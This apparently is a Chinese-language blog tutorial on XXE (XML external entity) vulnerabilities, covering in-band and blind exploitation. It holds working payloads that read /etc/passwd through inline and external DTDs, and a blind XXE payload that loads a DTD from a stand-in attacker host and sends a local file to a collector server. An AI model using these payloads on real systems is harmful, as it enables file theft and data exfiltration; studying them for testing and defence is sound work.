zoukankan      html  css  js  c++  java
  • XML传输数据导致的安全问题

    利用XXE漏洞可以进行 拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现

    一般XXE的利用分为两个场景:有回显 和 无回显。

    有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据

    有回显的情况下:

    ①内部实体:

    1、直接通过DTD外部实体声明

    <?xml version="1.0"?>
        <!DOCTYPE Quan[
        <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    
    <hhh>&f;<hhh>
    

    ①外部实体引入:

    1、通过DTD文档引入外部DTD文档中的外部实体声明

    <?xml version="1.0"?>
        <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    
    <hhh>&f;<hhh>
    

    外部evil.dtd中的内容:

    <!ENTITY f SYSTEM "file:///etc/passwd">

    2、通过DTD外部实体声明引入外部DTD文档中的外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    ]>
    
    <hhh>&f;<hhh>
    

    Quan.dtd的内容

    <!ENTITY f SYSTEM "file:///etc/passwd">
    

    无回显:Blind XXE

    参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    <?xml version="1.0"?>
    <!DOCTYPE Note[
    <!ENTITY % file SYSTEM "file:///C:/1.txt">
    <!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
    %remote;
    %all;
    ]>
    
    <root>&send;</root>
    
    

    Quan.xml内容

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
    
    

    %remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。

    利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

  • 相关阅读:
    Idea初始化Vue项目
    为什么在vue的组件中,data要用function返回对象呢
    SpringBoot+RabbitMQ 快速入门
    Neo4j入门-CQL
    记一次坑爹的websocket Response code was not 101: 404的问题
    Neo4j入门-开始使用
    关于乱码问题的一些思考
    搭建apache2.4+php7+mysql+phpmyadmin
    oracle dba 关闭 002
    oracle 正则表达式 非字母 非数字
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11689235.html
Copyright © 2011-2022 走看看